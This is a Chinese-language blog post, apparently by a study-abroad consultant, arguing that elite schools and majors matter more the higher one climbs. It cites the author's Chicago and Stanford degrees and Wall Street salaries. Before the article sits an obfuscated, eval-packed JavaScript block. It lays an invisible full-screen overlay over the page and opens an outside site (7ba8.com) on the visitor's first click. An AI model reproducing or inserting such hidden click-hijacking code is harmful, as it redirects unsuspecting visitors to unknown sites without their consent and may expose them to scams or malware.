<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>经常有很多学生和家长问我，学校排名到底有多重要？专业到底有多重要？
我举个例子好了。我第一个研究生学位在芝加哥大学读，属于前十名的学府。当时学的是国际关系，然后我毕业的时候是2003年，正赶上美国的经济萧条。当时工作很不好找，感觉名校也没有太大作用，而很多投资银行和咨询公司主要招聘商科的研究生。本科其实专业不是那么重要，因为美国的本科属于通才式教育，实习经验和GPA更加重要。
第二个研究生是在斯坦福读的MBA。2008年毕业的时候赶上百年一遇的金融危机，而我和同学们都是手里握了好几个大公司的offer。我们最差的同学去了什么麦肯锡和BCG这样的咨询公司。
MBA毕业，在投资银行，3年可以赚100万美元左右，在咨询公司可能只能赚50万美元，所以选择还是不言而喻相对容易做出判断的。
所以，实际上名校和专业，越是到了顶尖的地方越是有区分度，越是值钱。
经济学中，这个被称为人力资本差异的放大。两个人如果综合实力相差10%，在底层肯只是500-1000元每年的差别；在顶端可能是几十亿的差别。2008年对冲基金经理John Paulson个人收入47亿美元，比第二名的超出20亿美元。换言之，这个微小的差异在越是食物链的顶层，就越会产生放大的乘积效用。
你越是优秀，这个人力资本（以学历和专业为重要因素）的差异就越会被放大。而人生就是一场棋局，开局好总会为中盘和尾盘打下良好的基础。
回想2008年斯坦福毕业的时候，不是我们找工作，而是工作来找我们。我给学生和家长的建议是，我们不能预测和控制市场，但是我们可以努力争取去一个我们力所能及，能够达到的最好的学校。
进入一个顶级名校必然是一个曲折的过程，它代表你可能会一次一次地准备SAT考试；你可能要经过一次转学，才能进入更加心仪的学校。但是，这些都是你成功所必要的磨练。
第二个故事是在斯坦福盛传的鸭子的故事：斯坦福的学生们都是出了名的能活动、能玩。表面上，没有人特别在意自己的学习成绩，也没有人特别用功；实际上，大家都是暗中努力，暗中较劲。这就好比水上的鸭子，每个表面上看起来悠然自得，但是水下面偷着在努力地划水。
最后说一句我对留学申请的看法，我们这些顶级顾问虽然可以给力，在学生现有基础上帮助提高，进行优化，但是最重要的是长期的规划和积累。
进入名校是一个水到渠成的过程，当你的密度和厚度都达到一定高度，英语水平达标，高中成绩和课外活动达标，SAT和文书都是信手拈来的过程。人生好比爬山，有幸开始了一个大山。 |
收藏